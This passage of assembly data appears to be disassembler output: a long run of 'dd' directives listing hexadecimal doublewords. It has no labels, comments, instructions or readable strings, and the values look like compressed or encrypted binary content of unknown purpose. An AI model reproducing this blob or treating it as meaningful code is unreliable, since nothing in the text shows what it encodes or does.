5A6B6F3Fh, 59879A00h dd 8100505Ah, 63B4BE4Bh, 2510C66h, 0B58F6991h, 0C48CB74h dd 0C2002FE2h, 61613ADh, 300DBE1Eh, 96296539h, 81001D70h dd 638EA580h, 0CEBFB015h, 77A4A7F9h, 503C975Ch, 3B7ED34Ah dd 15EE240Dh, 0F44019A5h, 2282B6h, 6F9E7990h, 8C682F0Ch dd 7EE44Ch, 0CEFCF592h, 0B9CAB1h, 80BB0D95h, 89AD7229h dd 7AB33Ah, 0A9B43B36h, 33D1EF8h, 5177D8Bh, 91A380F3h dd 423F2100h, 7BEAE15Dh, 85190408h, 0C0ACC9D8h, 9895EB4Eh dd 29419D05h, 898027DCh, 150AA20h, 34C77E5Eh, 82B2CC0Dh dd 608D9448h, 7015607Ah, 307E0E77h, 378D76DDh, 7ABF4021h dd 78008F02h, 556C654h, 63720857h, 7C215011h, 84732879h dd 786E7037h, 6C0BA98Dh, 309DA384h, 2EF8E4h, 641683C2h dd 0F2187E80h, 0F9601150h, 7A8C048Ch, 385018EDh, 7A5204F3h dd 0C7EB716Fh, 0B31A5156h, 6A918081h, 1CE0FA4Ah, 6EFE00C9h dd 312C3343h, 0E70E4BEFh, 0E098709Ah, 18AA1B06h, 2203094h dd 0FDB487E0h, 0B3262C00h, 2E32B864h, 0ABED007Bh, 90D4920Eh dd 0EBEAC46Eh, 0D3B23504h, 0CCC09619h, 4D8EDFh, 548BE21Ah dd 7EA82C5Dh, 2ECFE00h, 0D3863877h, 5FE8A0h, 9C5C064Eh dd 0E4455672h, 0FC441700h, 8E585332h, 2D3A1C3Ch, 0DC4F4011h dd 0B8FD64D9h, 6FBE7F00h, 0DA4C1ED2h, 0CCD007EDh, 0F058969Eh dd 2A95E69Fh, 0E0556700h, 0C5B98F56h, 0F59A0E39h, 12D64Fh dd 0BE57091h, 700E6F3h dd 1DB29C46h, 887D27h, 5883B47Fh, 905D3FE0h, 8460AFE8h dd 35CC0E24h, 199F0C22h, 7E0821ADh, 0B0E621C0h, 7F3EF0Eh dd 959DA796h, 26809F70h, 9D4BE91h, 0FB3ADB00h, 0E3DA35EAh dd 0F631004Bh, 2497AA2Ch, 0BD147FCDh, 1DB4DE98h, 0E40E82DDh dd 0A13A40AFh, 0C8ABEB7h, 6299FEF4h, 21C4D208h, 51074945h dd 7D4C51E7h, 7F488091h, 0E4D08CF9h, 0FAB4302Dh, 12300288h dd 0B95E7E00h, 723F1952h, 62E30383h, 0C6ABD3D4h, 0F558C867h dd 0CCEB7641h, 95CF1180h, 40189897h, 33634273h, 0F857709h dd 9794EF20h, 0D47EC9E0h, 7B739E36h, 0D7CCAA13h, 60FA481Dh dd 431983B1h, 0CA2D1FEDh, 0FC760080h, 90551EDFh, 0B50A70FCh dd 0C08D7451h, 615CDD88h, 20CE0E96h, 0C0A6B133h, 50F344h dd 0D9760EAEh, 97B7DD7h, 80A43528h, 512ACE0Ch, 0FAAD29AAh dd 82FA0088h, 5DC1B6A2h, 0DD0F5797h, 22ACD2Fh, 84952DA1h dd 3E639FC4h, 6ABEEBE8h, 0C10F743h, 7DD90027h, 8982B9A0h dd 592E66Bh, 3D37C4FCh, 0F1F00545h, 682C1B99h, 7BD440DDh dd 168BE866h, 0F9778603h, 0E9FADE6Ah, 3E301E53h, 3FCF00F3h dd 50495A67h, 0E400A076h, 4F5FA2D1h, 0F6909A0Dh, 0FDD29A1h dd 405A7F04h, 1AB744Bh, 8FD839EFh, 8F8BF588h, 0CE02920h dd 1CC7280Ch, 8095A0E3h, 731BEB24h, 0D700E90Fh, 609CC8F7h dd 237ED13h, 55CB76EFh, 0A86348A1h, 2E706900h, 0DB8AC47h dd 0D1081A51h, 0B88C0815h, 5A00A320h, 29970B44h, 10CECBABh dd 9C647599h, 629073C3h, 6B510317h, 6ADE3007h, 7EF44AA0h dd 8825900h, 0D6FA8FFCh, 0E02B3EB6h, 0E9A41818h, 4B00BD81h dd 0E8CE3C85h, 0C63154F3h, 20E01808h, 4B45CC00h, 609310F2h dd 0B079C075h, 6D1FAD09h, 0F85011C0h, 5413B02h, 6B0A6313h dd 99A42020h, 0D7612F1Fh, 930C151h, 7F4AE0h, 27B15C65h dd 0FFF039EEh, 566B5D0Ah, 7D80AC75h, 2D301881h, 0F7A50A2Ch dd 1D7C847Fh, 0AB978085h, 57FC93A2h, 0D435B100h, 5A76A927h dd 0CFFD07D9h, 70016316h, 0C1FA1790h, 1C8DF80Ch, 6119A01Bh dd 5659911Fh, 0C3EE6014h, 16576F01h, 974C924Eh, 81DCDC4Ch dd 859182Dh, 15B91D44h, 0E2149C6h, 0E8447190h, 0A35FB260h dd 0E50028A9h, 8012637Bh, 11734Fh, 5E270329h, 385AA490h dd 0D0A12000h, 68B554D5h, 0AC2400F8h, 0DC0C4E77h, 1B005B46h dd 21E63614h, 549C6AA1h, 499A9471h, 0FC00580Ah, 57A6F92Eh dd 0E6009E03h, 767E1DB1h, 0E60C04D4h, 640D4869h, 0F316033h dd 19AD9D90h, 5C11DC60h, 1896FDC5h, 618EE052h, 320C5AC9h dd 2A87CE28h, 101F0094h, 0B9FC40B6h, 3BE88208h, 85A5D70Ch dd 28B4963h, 6B3CF569h, 9A23540Ah, 1C7900E2h, 59F17B82h dd 670081FFh, 1E6190FAh, 0E714796h, 7327DE2Dh, 38643592h dd 0F912906Ch, 34408A19h, 221EEEBh, 915C19B9h, 512F2979h dd 532E19CCh, 0B5B010F8h, 4F7EC28Dh, 8C5F3Eh, 0F16FA68Ah dd 50546B0Ch, 88E65890h, 0B00D397h, 49CF1C3Ah, 2429C2F4h dd 0C943640h, 0B73179DCh, 2A9DC607h, 0BF70CA25h, 0F88EF464h dd 1C934Bh, 0B9F3472Fh, 0F8915645h, 44678260h, 0DFB328F2h dd 7FE9EE2Ch, 7F520038h, 0F230B86h, 344C449Dh, 0D1E8504Ch dd 4A021F43h, 463C7E4Bh, 0E3101E31h, 62004B12h, 0CF3F8190h dd 0C64217Ch, 1F52E2Fh, 0BECD0F1h, 99081891h, 2AE380E5h dd 58463210h, 73A52D00h, 403C27D5h, 0A9F1031Ah, 8AAF5C66h dd 0B6BC981Dh, 5F81FC40h, 3132A00Ah, 1E49E7DFh, 0C0832EBh dd 190898B9h, 6F140F1Dh, 276D1FEDh, 5351CD21h, 2AE0B684h dd 401F4266h, 0B4454E35h, 64C06074h, 0D8A741h, 15C077DCh dd 7D2B2D12h, 0ADE5AA02h, 0A02EAEA4h, 2F66B0B4h, 0B8B35484h dd 5BF800FCh, 2E833EB6h, 47EED91Eh, 0ED9E771Dh, 0CA178F07h dd 0E919E571h, 7A859183h, 0ADEA6AA3h, 89269640h, 803B0903h dd 0B0B1F38Dh, 196AAFDDh, 0B81004B3h, 982EE012h, 33797F03h dd 0CE2174B5h, 1380081h, 4DDE5C2Ah, 88505A65h, 18431AE8h dd 7F884B38h, 0CCC4BE3Ch, 4B13E241h, 0F4A4F4DDh, 8FE46304h dd 38946062h, 0D3748Ch, 7A542E2h, 1476B923h, 474C8190h dd 6891314h, 9821740Fh, 58BB99h, 752BE485h, 0C5ABBF4Eh dd 4FA82800h, 0D1487778h, 62A10501h, 136A735Ch, 232C3AF8h dd 0D6421D15h, 0AB1440ADh, 73777B78h, 8011AA3Fh, 17BDDD1Fh dd 0C04286B2h, 0B170AFD1h, 9F3C6E73h, 0F5200563h, 3C201DDFh dd 237A4B1Eh, 1911263Ch, 1A81728h, 6BA3A074h, 2080B88Eh dd 0B1032014h, 7A8DF1ABh, 6CC0DCA9h, 11D73AE8h, 950648Fh dd 21F8E028h, 6A199994h, 15C09854h, 64F313h, 0B4BF263Fh dd 5C45A1F5h, 0DD6A9312h, 4AFA4C03h, 50490019h, 4036B5B4h dd 509042CFh, 6021B924h, 0F4035513h, 14AF1F8h, 0A11AE998h dd 2478E02Ch, 0E8005984h, 0B863FFC3h, 0FBF335h, 0D7A4780h dd 11C12186h, 342E1F28h, 8B01BE7Fh, 0C7F8EB3h, 4C22A9BDh dd 0A7F53C76h, 1306F8B8h, 8C88286h, 36698160h, 4CF6A71Dh dd 8E80DC94h, 3AE9413Dh, 0C5A6D900h, 0F59C25Eh, 1FA7593h dd 58C08115h, 0D4B0E99Fh, 9CA69D8Eh, 91A96Fh, 80D5812Fh dd 39E80527h, 1D05346h, 9A7A6714h, 12860E5h, 985C1F0Ch dd 0C173B002h, 3328EC0h, 48E462A0h, 0CF840074h, 9D76B540h dd 0F1C632C5h, 0E2827358h, 0FC83D458h, 0A08071B7h, 39C011D0h dd 26B62E73h, 39567848h, 0CC30A2B7h, 57F60F49h, 26C5148h dd 8C4C7C5Bh, 0F5189171h, 0F8BBA0F7h, 9A51821h, 437BC051h dd 9081E200h, 0F430FF68h, 0B03C0E2Dh, 0BFE02365h, 0ECB39B7Dh dd 0EE711E00h, 1DC46376h, 697377h, 1ADEDC61h, 6D9D7A3Ch dd 80BD2736h, 19E822B9h, 7A1D8E05h, 9C084AB7h, 0D8BDB851h dd 0FCCBCA14h, 0CDDEF883h, 0D437CC0h, 5244A498h, 2BC1F85h dd 798FC0B5h, 7B094E05h, 0F53B3400h, 7F97E531h, 57212C6Ah dd 5A0550DCh, 0D0473900h, 0D64F0844h, 0DFB0008Eh, 0FC9D555Fh dd 40A0185Eh, 0B52CCCA0h, 8012D0B7h, 41B09420h, 0E87D00E4h dd 749FD35Dh, 0F7EAFB22h, 9F5C30Bh, 55D41118h, 2B3D0h dd 6F5837F8h, 93EF63AAh, 1318391Eh, 811E82C0h, 0CF836210h dd 0E282EA8h, 0EC2204BDh, 0B4C886FFh, 0B45F1FADh, 0C4EF80B9h dd 65252ECFh, 0ABD0D400h, 289F8182h, 324F0E93h, 0F6E3FF58h dd 0ADE0276Bh, 0B7009766h, 745CF764h, 19145128h, 0A9ECEA1Fh dd 7D9822A9h, 32039973h, 12A2BADAh, 2A88886Dh, 0BCEC0089h dd 0F7CB7D0Bh, 0A100801Bh, 0B176B28Fh, 0B8484E97h, 0E8C07CF4h dd 7CF700B0h, 81D74A8Bh, 0A70540Fh, 0B6B0D0Ch, 182696Dh dd 0ABD8232Ah, 80EA18CDh, 0B5589A89h, 25759E83h, 8A43967h dd 9ABC8854h, 9E1A811Ch, 1C368E00h, 6412F1h, 0A6979406h dd 277402F8h, 52B2E1Dh, 1AD6ACC0h, 0B0DE47B2h, 0ED6600E9h dd 38CE4932h, 10F41F0Eh, 3DD5B400h, 22D1BB0Bh, 61B300B2h dd 0B966D06Dh, 5D007FD3h, 25DE5208h, 0DCDB99h, 8347A9CEh dd 8A6DE4DFh, 67A6E18h, 944B19h, 4EA05F9Ch, 8F18952Ch dd 0C3572D00h, 309B6946h, 0E547DECh, 12B0C783h, 0A0794220h dd 2030BC57h, 9CEA85Ch, 0CB593423h, 1E0FFB68h, 0A302E066h dd 0D5DF3h, 7CF1BE2h, 8F41EA2Bh, 0CB6248C0h, 257996h, 74D8D7BBh dd 0EE7D2E20h, 1E1A444h, 2FB77E86h, 80D95491h, 88555BB0h dd 0E62CAB84h dd 1C91894h, 0D91D2005h, 654ECA00h, 445AA8FEh, 5D48C2CFh dd 79E05711h, 63014394h, 105C9E71h, 47F848F4h, 5758C341h dd 790CD1C2h, 710A7797h, 31040002h, 6A5CD075h, 7D03ECADh dd 0E1531840h, 0FCBC8CEh, 3CDC00CFh, 61F9B293h, 6E00A7A6h dd 0E2576B46h, 281520h, 74549E96h, 0D0EE8A59h, 8999DF00h dd 1D821043h, 15930B02h, 0D2800419h, 7E986C9Eh, 0DC458400h dd 50ECDF5Bh, 43933AC7h, 46952D00h, 635FE6DDh, 0BC79053Ah dd 0E1120047h, 115AA668h, 0F858242Dh, 9F500783h, 0DBA072E0h dd 634BADE0h, 0B600C4B8h, 0D6FCCCD4h, 0C75412ABh, 4FD1ED50h dd 1142E046h, 9B27A700h, 0BEA2380Eh, 72C31D91h, 21CA18BAh dd 9B007F05h, 2E2134DFh, 38984C4Ah, 0A898A91Ah, 8DD70D8h dd 606058EAh, 0C0DAAB81h, 0E732305Bh, 0F0127D10h, 131E8A03h dd 0AE56438Dh, 0D6393008h, 0F0EB4C20h, 599ACA01h, 445261BBh dd 81BD96FDh, 4723010Ah, 0FE2700CAh, 0F9FC26A6h, 77243806h dd 729434Ah, 0AC06D88h, 309C4054h, 84029314h, 5E2FDF9Dh dd 0EEA8A0C7h, 7094C86h, 3DBC2216h, 0EC004B25h, 0DA63C2BBh dd 440590C3h, 0A2D81EEBh, 0F40740BFh, 0F539BDE4h, 4836AC0Eh dd 0A0E840D6h, 6031BCEAh, 1782E90Ch, 346058BEh, 0F542A911h dd 1F94E8C3h, 538993Fh, 60A023h, 5B0F28F4h, 0B40106D1h dd 33436AA6h, 0A983AF5Eh, 11CC884Dh, 0DA498FB8h, 8BF4E33h dd 217B98h, 0F05CCC8Dh, 0AD30677h, 0E3AC2D02h, 4040562Ch dd 9F8028h, 424693B8h, 26841241h, 8C749h, 1C5696CAh, 302B2CC3h dd 1EB0DECBh, 60FA375Ah, 244C4000h, 0FCB008D2h, 579C01C1h dd 85958C8Bh, 0EB2081A6h, 0C0E638B3h, 6D08204Fh, 0C6AB322h dd 0D87FD11h, 1B1EC2F0h, 0C4506231h, 0F0E61Dh, 5AA7DF09h dd 4531C775h, 33CE8300h, 0C229C65Fh, 64E20019h, 0DDD893BEh dd 6C91E113h, 8B9BA081h, 0CE18CA38h, 9B78D08Bh, 0F0020371h dd 0A5965420h, 0ABFC1840h, 942C4548h, 6A161024h, 3050AC39h dd 0DC303AC7h, 2C1B145Ch, 7FE038D3h, 0A70934C1h, 2148C3BBh dd 92BE5070h, 974EDC53h, 0B7197490h, 8051149Ah, 693C9854h dd 0B9AB9381h, 229EDB86h, 0E3EC0004h, 0AE74F8Ch, 2FA800CAh dd 72600524h, 0C40A0EFDh, 80910411h, 6018E547h, 38BD9AEEh dd 91BA5A21h, 260070CCh, 80B84A9Bh, 5458DED8h, 0EBCC28h dd 8C3E7215h, 0A9962B43h, 8CE8F52Ah, 0EB004843h, 2FA68C56h dd 80A8B59Fh, 1C494367h, 3B549464h, 6493FD04h, 7031A218h dd 1CC7452h, 0E309468Eh, 240557EDh, 0C600DD00h, 0C1B58255h dd 3329DF70h, 0D4085256h, 79262100h, 0C11DF982h, 5B51180Fh dd 960D79C5h, 0D14B6Fh, 0B73148CCh, 331924F5h, 87668018h dd 0BB24BADh, 0EC486250h, 81722F0Fh, 400962F6h, 43A1C0FAh dd 0E73000E8h, 0B6AEC422h, 7B006EA4h, 7C2FA5B1h, 7B71C68Ah dd 95C90AFDh, 14A89F82h, 0F2BDC8DDh, 75F30h, 1408079h dd 2BE4D0D1h, 7B082891h, 770506DAh, 2700B0EEh, 8A31DC8Dh dd 1812D18h, 4B54BFB9h, 26794EFFh, 5B850A30h, 0A79F8829h dd 48B94F80h, 14D9458Bh, 54F111A0h, 19876507h, 91C8CA98h dd 825B8055h, 8CA0C1B7h, 0ECD144h, 75198263h, 854F8B01h dd 5881C12Ah, 0BAD2A00h, 0D4A902Dh, 806C0BFDh, 9B001637h dd 6B1BA066h, 20264324h, 12CC8BC1h, 0A11857DDh, 2508E88h dd 844CADCCh, 8C405F6Eh, 0FA2CC19Bh, 131D24C4h, 4783AA02h dd 0E8DEC3F2h, 0ED82FB9h, 0DAFE80FCh, 38290F56h, 7E323E40h dd 9700E1C2h, 496A910Eh, 30144C44h, 45587435h, 94902F37h dd 3AF38001h, 52EDE196h, 82FC9059h, 8CC174C4h, 0CFCE44h dd 3C4682C0h, 203D3644h, 6058673Fh, 8330E041h, 0C98E007Bh dd 9C376DB1h, 0C41F2A23h, 134416F4h, 0C8838B39h, 0CC5100D9h dd 1456D1FBh, 44A48CEEh, 0AA825A04h, 0BF6268C1h, 82621920h dd 6C4035Bh, 49DE6505h, 20AC5DC0h, 18696CA1h, 0AB820857h dd 35CFC0C1h, 0FC1828ECh, 0EC3C5359h, 11924227h, 8A95725h dd 2321BA20h, 0E42D81B3h, 86C4ED48h, 8C895878h, 0E0BD01B8h dd 0A8190849h, 1C697094h, 80D0E96Fh, 8DDF46CEh, 11890B0h dd 8F1211C2h, 31D993ECh, 25A4DC79h, 3D02BC78h, 97DB9AC0h dd 45988085h, 1EE177Dh, 6113E3D1h, 0F0D5DD94h, 0B631BF46h dd 25E50C5h, 14D3A434h, 90B5B27Ch, 0CE27807h, 0EE22A0F4h dd 0C0604D75h, 7D599B18h, 43833E68h, 5A1FD003h, 0F100A92Bh dd 0C9A30A7Ch, 91826FCh, 0FD12B4AEh, 75BFE283h, 9BB71809h dd 0ED9825D0h, 3A5F0430h, 48110702h, 51BE2505h, 8FBA40ADh dd 82424CD8h, 4068137Ch, 3F18A580h, 2D1638B9h, 0C288036Ch dd 313EB381h, 3C8E0017h, 0DEDBDD8Ah, 24FE660h, 9B446CCh dd 0C841C675h, 5D28504Ah, 19C97695h, 0AE6C07EBh, 92BD0548h dd 0A554015Bh, 4C437EACh, 0B4036960h, 4C3A706Ah, 3BA8103Eh dd 99B0D67h, 90005910h, 1D556502h, 337C043h, 7859B48Dh dd 0FFF52105h, 7C27F7D6h, 84ABD85h, 0CC3D3CE9h, 414E1967h dd 5CF83B18h, 1184A869h, 0C81330E8h, 461A1640h, 55AD7C14h dd 40C12348h, 6E50933Ah, 471748DDh, 385B9C0Ch, 6F9F0051h dd 427F0C07h, 0DB18558Ah, 3D81121Ah, 30B0E84Dh, 78315C2Fh dd 0A30137C3h, 4594FFB4h, 0A18A600Ah, 0E1C8790h, 0EB00A9EAh dd 3351B499h, 0CE0CCCA4h, 11802A0Ch, 7B889812h, 96C31EC1h dd 0C82025A8h, 17AC0CA1h, 0DBD6E71Eh, 61230302h, 0CC8F43h dd 2D504278h, 0D11C00Ah, 0F1A637D0h, 0C351FF00h, 5A0C7CB0h dd 0DC69D07Dh, 58B810h, 0E94796A5h, 523595B4h, 0D606A084h dd 58869DE6h, 0F0CCA59h, 66635B0Eh, 0F21097BAh, 80A1C0B8h dd 0EF77AB05h, 5C01D5Ch, 6B370B3Ah, 0CA108400h, 0F828F1h dd 98A5FEFCh, 598AC074h, 50804504h, 3492515Ah, 0D40BE4Eh dd 47B9BA25h, 0B0400C68h, 0DEF743Ch, 1EF4EE5Bh, 1E8C07F0h dd 13E1C942h, 0AB9C4366h, 392AB912h, 0D49854C0h, 0A9BCF754h dd 4CD5DC88h, 0B4305015h, 2F9ABD41h, 6C09BB72h, 29077C41h dd 31002ACh, 55F91096h, 1ADF0CA0h, 42046144h, 1BB7115Ch dd 10521408h, 0B4C38800h, 4C119B31h, 0C4C5CC8h, 56015023h dd 88C0EE82h, 21C0C818h, 0BD825E15h, 3FB50798h, 0B2AC228Eh dd 80A076FEh, 0EB61A173h, 0FFF930F3h, 0B7017578h, 3E481D86h dd 0C0349E93h, 90319047h, 644085CCh, 0F52360CEh, 0DE3605E3h dd 4390E104h, 4A87D7A8h, 0C14BFC0h, 35BC000h, 0FAB460C5h dd 0C18B2C58h, 8CF4942Ch, 5690BD31h, 74FF31FDh, 830FDB2Ch dd 0C9C66ACCh, 0C4ACC5D8h, 0F70A60C1h, 48430004h, 4E40662Ch dd 914A5FCh, 9E09334h, 0C0EF15EEh, 3E0B6E4h, 0C379E848h dd 84C58B1Fh, 1E2CC1FCh, 28F8009Ah, 439FE5Ah, 0CABC31F9h dd 0DAEB80CBh, 0FB0087E9h, 8BBD9B5Eh, 0F81BD288h, 82832C96h dd 3321003Bh, 89C9CD4Ch, 11FD6500h, 0D8CE495Dh, 0EB41876h dd 8F19887h, 0E186CA00h, 0FD8C15B3h, 0B25E1CEEh, 4C12426Ch dd 47E128DBh, 0F438D45Dh, 0D23EB4EEh, 0E82006Fh, 0D7505CA7h dd 0E8043A67h, 65F1000h, 556C31DDh, 7314CB06h, 6008936Bh dd 0A42B21DEh, 0F9390231h, 992280F6h, 0B63DCB53h, 384403D2h dd 0AB69D4E8h, 606058D3h, 0B3C29320h, 0E640C0D2h, 0F85D32D7h dd 5CF12F18h, 1C373010h, 36FDDA7h, 0A457D40Ch, 5E9C0818h dd 6E9A20h dd 11E714A7h, 0FFF5D61h, 57DFA900h, 0AAD90CF9h, 30D05001h dd 3C7000CFh, 8FAE8B79h, 4B01D873h, 0B8D2B172h, 5BC05ACEh dd 0B5CF7F2Bh, 0D660F370h, 32B83739h, 48C0183h, 0B454E751h dd 0A6E5D050h, 0EAA988C0h, 58795F2Dh, 0FA00B7F0h, 5B0937C4h dd 0E80C87F4h, 0B07148A2h, 0F93F0B10h, 10006716h, 2AF3DA33h dd 0E0F708C6h, 2E9D0020h, 6EED4616h, 3B14BB50h, 68CD2D3h dd 604B6391h, 1C6900B0h, 0D5E786B0h, 7700FEF4h, 4E95B5DCh dd 1FF05644h, 0C0C0051Fh, 3E3B5B2Eh, 2003512h, 6E62A3C4h dd 18E58EB4h, 8C571DD7h, 1700795Ch, 9EA83EA6h, 215112h dd 0D3949EFh, 67BCA35Bh, 95847B0Fh, 11AC00F3h, 7D5759h dd 3B64D589h, 5ADA8F66h, 35F838h, 7C72D473h, 75D7D14h dd 0FA1F2058h, 6E66E0E2h, 28C45BE6h, 2A446F84h, 1443427Bh dd 0F22302E3h, 28042825h, 974A06B4h, 0F1BE0814h, 0BC708C88h dd 1B220222h, 10564205h, 840055B0h, 61CFA579h, 6576EA64h dd 7A0E8801h, 4D874F89h, 273CE8h, 1BF376E6h, 0B8425A73h dd 0D93A351Eh, 1DF4B3D4h, 2000DDF8h, 57C5E770h, 0F5390373h dd 98E45229h, 2F3CE2A0h, 80F80B3Ah, 4BA5C6EAh, 0D79349h dd 4A7D66C5h, 2D6CAA44h, 0AE1DA00Ch, 0CF2869h, 0AD12D3A1h dd 0CDA5A933h, 2F00E775h, 0B91E6083h, 0EC8E118h, 866A3ABFh dd 0DF8C7080h, 96005FE5h, 1551C197h, 0D92E55h, 1A05061h dd 3B03B6Fh, 0AC98B4EAh, 5A05A700h, 62AF9DE8h, 2F6F0738h dd 405FB38Ch, 3EDE6D4Ch, 99F011E6h, 861D9000h, 5D1E6509h dd 17B6001Fh, 3627BEBAh, 0FA005AA4h, 0E3330551h, 153664Dh dd 192D44C3h, 0EC0AA277h, 2A00478Fh, 4C3F687Ch, 7E06A3h dd 9570CA6Eh, 8FD3A807h, 4B202D00h, 68289FAEh, 626E00EEh dd 0B05CE206h, 0EC003D43h, 0C9E109AFh, 0FA940EC7h, 0EC3873F0h dd 31D30F66h, 7DC02479h, 4937F60Ch, 7BC53C00h, 0DFE48A72h dd 12310094h, 50DC6D65h, 0C4002BC6h, 0D3A22A3Ah, 3064C7DBh dd 77A0873Fh, 0D77B278h, 8BC9EC00h, 0A49A2256h, 479C07FEh dd 0F0E0C4C3h, 0C8A16967h, 2F897801h, 1EF1FF5Fh, 772821C8h dd 52BE00ACh, 0F7A31D72h, 0D0F854Ah, 114B0Bh, 93CC0788h dd 22E4008Dh, 383D16CDh, 0B30042E6h, 51B26D47h, 24B5433Ch dd 80DC14ACh, 5CA33A0Dh, 5812FB27h, 0F2180F35h, 13D3290h dd 526F5DDDh, 61931745h, 60950351h, 0D2A50B8h, 47630F07h dd 4B909E20h, 0F27D10h, 6F08A1B8h, 2494F081h, 4D9D1200h dd 614B7EEFh, 6419586Dh, 6E1FAB05h, 89D00C57h, 9D72277Ah dd 0F4963Fh, 32A352FEh, 0E622A8h, 0C765B4AFh, 0E5271EA0h dd 8E462C12h, 1832614h, 0CA6901A3h, 0FDC17D8Bh, 0F461D2DCh dd 369D6067h, 0D4A7B339h, 128E758h, 6044120Bh, 7830803Fh dd 956B39BAh, 6E575C80h, 3D232699h, 369B4E00h, 5D87A3E7h dd 80FA0FEDh, 57E0BC5Ah, 13399882h, 0D3380D00h, 0FA89E562h dd 12C70AFCh, 0AC72B4h, 131BB31Dh, 4100447Fh, 6B2BCBB0h dd 0CC3754h, 0E9FCADC2h, 0BFC4CD62h, 3D3F0C00h, 5DE52DF3h dd 0F1BD00D3h, 0DC3C16D2h, 57000468h, 8644FA1Ah, 0BFB4A3h dd 988587B1h, 19E8C66Fh, 0BBE63000h, 65320B7Dh, 5EE90309h dd 3D8E76F2h, 5DFAF1B8h, 1700A579h, 0B22D8092h, 1F2AF893h dd 83E737B6h, 0DCEBCF3Bh, 0F7F9BEF0h, 0AA1CFB01h, 49B2A9FEh dd 7E3BFC0h, 5A9F28D4h, 9D68E022h, 0E590C691h, 0E1703D02h dd 48308419h, 91A95728h, 0DCC70FB4h, 5665875Ch, 4452058h dd 27001908h, 732F0A74h, 0F80F80h, 0E2DE3E59h, 8CD95C6Dh dd 310C497Ch, 29480578h, 0F0AE01D8h, 64D1C29Dh, 511FE498h dd 7EC0A903h, 0D004B348h, 13D3ABh, 65086F62h, 660FEADDh dd 0E31B9400h, 4095BB37h, 0D97EE0h, 0F13ED73Bh, 50B5928Ch dd 0CCAB24h, 0F7A23A00h, 2E9C7E8h, 0C651AD0Eh, 98C0243Fh dd 6000704Ah, 5D802AD1h, 9F11Dh, 93124F61h, 0B032EFDCh dd 410094E6h, 23FCD74Eh, 0C04A2F57h, 0D093B46Eh, 5C008DAEh dd 9BF3E91Ch, 3A3E510h, 0EDB1682Bh, 9CD83A5Eh, 3700B941h dd 1419553Eh, 0FB8451h, 5A8A13F7h, 0F920B2DAh, 0A80BD400h dd 6289212Eh, 3DC00094h, 0F0FDBA1Dh, 0D700C29Ch, 6FCDAFEFh dd 74068EDh, 5A940C39h, 8098F97Ch, 2374DE08h, 0FE8C52C0h dd 7D1F0B1h, 0C31E3006h, 3FAE30D4h, 0FA013E70h, 0C04DA940h dd 6BCC0162h, 0EF46022Dh, 19371BCCh, 3628BA40h, 487F4E00h dd 659BB196h, 15AD070Ch, 407D41B7h, 491D5AAFh, 6EDAC102h dd 0E0FACB9Dh, 0EE0D4063h, 0D6D6E8B5h, 493A1418h, 182FCB0Fh dd 81F26720h, 5C001022h, 0A1958E6Fh, 7CFED9Ah, 88BBF66Ch dd 68E86043h, 0D07C4ACh, 0F831BF4Ch, 892C2440h, 8A1C0F9Ch dd 0ECC0E372h, 6A794ED7h, 27205704h, 0DCC2F87Ah, 13984442h dd 0DC733Fh, 16C6B484h, 4398F0D9h, 0EF57A700h, 0E9074A09h dd 0AD9631A5h, 606634C4h, 5C7A0E00h, 0CE2B4401h, 0B4C08CE9h dd 16196C30h, 60A90B6Ah, 700EC13Ch, 9A424800h, 0D14B1EBDh dd 58E00017h, 0A9B68C5h, 8B034F1Dh, 2DD56BAAh, 74CA032h dd 0AE93A030h, 3E8A375Fh, 0E84673B8h, 0C4F466B1h, 18C09DA6h dd 0CC72B6A0h, 793F0069h, 47AB6256h, 514CBF16h, 0D8210099h dd 55EBCA45h, 41050010h, 67F7636Fh, 8E002D59h, 0D5F3C4B7h dd 94B616h, 4DBB2A35h, 9F86DD19h, 6EF7CF0Fh, 48068072h dd 37613C6h, 64E0976Ah, 9801FDD7h, 1EBAD91Ah, 0E065A637h dd 0DE26C0h, 0F79F8CAEh, 573FB2C4h, 2E412700h, 952F4061h dd 42080078h, 0C3292379h, 1807C28Fh, 0E650D662h, 0A801A555h dd 0ACDF3D31h, 0E3D44700h, 49B9D000h, 0D90C6A73h, 0CDD4CF5h dd 0E67E4E00h, 9F52BF28h, 25928913h, 8479F600h, 0E0653659h dd 0C868009Eh, 96AA88A4h, 0E7001767h, 4FAF723Bh, 7D408B7Ah dd 3EF915A6h, 0F21EB875h, 0E8958452h, 389480DEh, 541811C0h dd 1A10DCCAh, 0CC0E184Eh, 0A5CD314Ah, 0DE5A500Bh, 38EC80BBh dd 0EAB8B78h, 27660889h, 394FA8E0h, 93009D55h, 87971942h dd 0E6C2D7h, 45B8E338h, 33D8C320h, 9578B00h, 0F521AA27h dd 0FFCF00F0h, 17947F78h, 96EC3991h, 9AB29C1Eh, 0D7545BC0h dd 7F2A416Fh, 4F14014Dh, 0FF327CC3h, 0BBDC70B4h, 4339D200h dd 20A27EFAh, 9B230028h, 6F57F74Eh, 4DE2CFA5h, 0EB366000h dd 5F9FBBE7h, 0F15D0097h, 0B13DC32Bh, 3F1EE2F8h, 0E14063E6h dd 6FA97C47h, 24E0E5h, 0FB193A0h, 0F677159Bh, 0BA739700h dd 6BD86839h, 1C47C2Fh, 75FA455Ch, 68CA0F06h, 1C38052Ch dd 24805A85h, 7C127Dh, 0AC315FF3h, 0C7D52B93h, 0DCD13700h dd 4AC209A2h, 242A00B9h, 4CDE695Fh, 5018C08h, 9C9E73C3h dd 48355229h, 98FAE6D8h, 0A08E589Fh, 66125F01h, 40351D8Bh dd 0ADD27AD4h, 65D60900h, 0C077B110h, 0BBC5009Eh, 2AC698BCh dd 0C00754Bh, 112F507h, 0CA0BBEh, 0FC804E8Ah, 8201B95h dd 0B24B7B0Eh, 20278FC2h, 6884FE5Eh, 2EA50076h, 6DB3CBEAh dd 0F8C00CA2h, 2E22C9Fh, 782000E0h, 434B6006h, 0BC001293h dd 15B8FA70h, 3F3B4EC6h, 64827B82h, 0A5EE2EAh, 0F5C1F6E0h dd 2DE2287Fh, 94CB510Bh, 0DC0200BBh, 793C5FAFh, 13780165h dd 4C76A524h, 8883E486h, 44A7E900h, 5A74ED34h, 27680B32h dd 500037FFh, 45041384h, 60C39A00h, 74AA7FC0h, 0BBB30057h dd 0F554A18Ah, 2F2EC4E5h dd 0C100B571h, 0EE034AD4h, 85E274h, 6A8A7BE3h, 0C52E5082h dd 0F802DE00h, 48528920h, 4C3D164Bh, 0D0B01532h, 4F63EB00h dd 0CD782916h, 92C73524h, 0A4B58700h, 7289A3h, 0B24C7D9Fh dd 0BF5AE2CCh, 92598500h, 6BA65473h, 145249A3h, 47CAE002h dd 0C980348Fh, 